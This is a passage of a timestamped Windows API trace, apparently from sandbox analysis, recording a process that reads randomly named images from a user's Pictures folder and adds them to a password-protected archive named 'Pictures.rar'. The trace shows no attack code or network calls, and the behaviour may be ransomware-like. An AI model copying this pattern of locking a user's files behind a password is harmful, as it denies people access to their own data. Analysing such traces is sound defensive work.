lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xa839, lpOverlapped=0x0) returned 1 [0063.707] ReadFile (in: hFile=0x1b0, lpBuffer=0x36da879, nNumberOfBytesToRead=0xf57c7, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36da879*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.707] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.707] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x48) returned 0x26fed0 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x48) returned 0x26fe80 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1a0 | out: hHeap=0x1b0000) returned 1 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c170 | out: hHeap=0x1b0000) returned 1 [0063.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x63) returned 0x2730a0 [0063.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x9f) returned 0x3b8c460 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c460 | out: hHeap=0x1b0000) returned 1 [0063.710] GetTickCount () returned 0xa66431 [0063.710] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13905005137) returned 1 [0063.710] GetTickCount () returned 0xa66431 [0063.710] GetTickCount () returned 0xa66431 [0063.710] GetTickCount () returned 0xa66431 [0063.710] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.710] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.710] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.710] ResetEvent (hEvent=0x1a4) returned 1 [0063.710] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.712] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.712] ResetEvent (hEvent=0x1a4) returned 1 [0063.712] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.713] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.713] GetTickCount () returned 0xa66431 [0063.714] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13905391554) returned 1 [0063.714] GetTickCount () returned 0xa66431 [0063.714] GetTickCount () returned 0xa66431 [0063.714] GetTickCount () returned 0xa66431 [0063.714] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.714] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.714] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.714] ResetEvent (hEvent=0x190) returned 1 [0063.714] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.714] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] ResetEvent (hEvent=0x190) returned 1 [0063.714] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.715] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.715] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.715] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.715] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x40deba [0063.715] SetFilePointer (in: hFile=0x198, lDistanceToMove=157, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x40df57 [0063.715] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.715] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.715] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.715] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.715] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xa890, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xa890, lpOverlapped=0x0) returned 1 [0063.716] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.716] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.716] SetFilePointer (in: hFile=0x198, lDistanceToMove=4251322, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x40deba [0063.716] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x40deba [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.716] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x48) returned 0x26fe80 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.716] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x48) returned 0x26fed0 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1a0 | out: hHeap=0x1b0000) returned 1 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c170 | out: hHeap=0x1b0000) returned 1 [0063.716] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x63) returned 0x2730a0 [0063.716] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x9f) returned 0x3b8c460 [0063.716] WriteFile (in: hFile=0x198, lpBuffer=0x3b8c462*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8c462*, lpNumberOfBytesWritten=0x167f30*=0x9d, lpOverlapped=0x0) returned 1 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x9d) returned 0x3b8c510 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.716] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c460 | out: hHeap=0x1b0000) returned 1 [0063.716] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x4187e7 [0063.716] CloseHandle (hObject=0x1b0) returned 1 [0063.716] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.716] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.716] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.716] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.716] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.716] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.717] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\g stnxmi.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.717] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.717] GetTickCount () returned 0xa66431 [0063.717] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.717] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.717] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.717] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.717] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="FS9X-Jz92l3SkJz_uf.bmp") returned 22 [0063.717] SetWindowTextW (hWnd=0x1024c, lpString="G StNxmi.gif") returned 1 [0063.717] GetTickCount () returned 0xa66431 [0063.717] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.717] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.717] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.717] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.718] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x192)) [0063.718] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.718] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13905860002) returned 1 [0063.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xec09, lpOverlapped=0x0) returned 1 [0063.719] ReadFile (in: hFile=0x1b0, lpBuffer=0x36dec49, nNumberOfBytesToRead=0xf13f7, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36dec49*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.719] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.719] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.719] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x48) returned 0x26fed0 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.719] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x48) returned 0x26fe80 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1d0 | out: hHeap=0x1b0000) returned 1 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1a0 | out: hHeap=0x1b0000) returned 1 [0063.719] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x59) returned 0x2730a0 [0063.719] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x95) returned 0x280190 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.719] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280190 | out: hHeap=0x1b0000) returned 1 [0063.720] GetTickCount () returned 0xa66431 [0063.720] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13906032831) returned 1 [0063.720] GetTickCount () returned 0xa66431 [0063.720] GetTickCount () returned 0xa66431 [0063.720] GetTickCount () returned 0xa66431 [0063.720] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.720] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.721] ResetEvent (hEvent=0x1a4) returned 1 [0063.721] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.723] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.723] ResetEvent (hEvent=0x1a4) returned 1 [0063.723] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.724] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.724] GetTickCount () returned 0xa66431 [0063.724] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13906478368) returned 1 [0063.724] GetTickCount () returned 0xa66431 [0063.724] GetTickCount () returned 0xa66431 [0063.724] GetTickCount () returned 0xa66431 [0063.724] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.724] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.725] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.725] ResetEvent (hEvent=0x190) returned 1 [0063.725] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.725] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] ResetEvent (hEvent=0x190) returned 1 [0063.725] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.726] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.726] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0063.726] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0063.726] GetFocus () returned 0x0 [0063.726] TranslateMessage (lpMsg=0x16d150) returned 0 [0063.726] DispatchMessageW (lpMsg=0x16d150) returned 0x0 [0063.726] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x4187e7 [0063.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=147, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x41887a [0063.726] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.726] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.726] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.726] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.727] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xec90, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xec90, lpOverlapped=0x0) returned 1 [0063.727] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.727] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=4294631, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x4187e7 [0063.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x4187e7 [0063.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.727] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x48) returned 0x26fe80 [0063.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.727] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.727] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x48) returned 0x26fed0 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.728] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.728] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1d0 | out: hHeap=0x1b0000) returned 1 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1a0 | out: hHeap=0x1b0000) returned 1 [0063.728] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c170, Size=0x59) returned 0x2730a0 [0063.728] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x95) returned 0x280190 [0063.728] WriteFile (in: hFile=0x198, lpBuffer=0x280192*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x280192*, lpNumberOfBytesWritten=0x167f30*=0x93, lpOverlapped=0x0) returned 1 [0063.728] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.728] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x93) returned 0x3b8c460 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280190 | out: hHeap=0x1b0000) returned 1 [0063.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x42750a [0063.728] CloseHandle (hObject=0x1b0) returned 1 [0063.728] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.728] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.728] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.728] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.728] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.728] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.728] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\o7izdtchrqglm.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.728] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.728] GetTickCount () returned 0xa66441 [0063.728] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.728] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.728] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.728] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.728] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="G StNxmi.gif") returned 12 [0063.728] SetWindowTextW (hWnd=0x1024c, lpString="o7iZDtChRQGlm.png") returned 1 [0063.729] GetTickCount () returned 0xa66441 [0063.729] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.729] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.729] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.729] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.729] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x1a2)) [0063.729] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.729] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13906949251) returned 1 [0063.729] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x12699, lpOverlapped=0x0) returned 1 [0063.730] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e26d9, 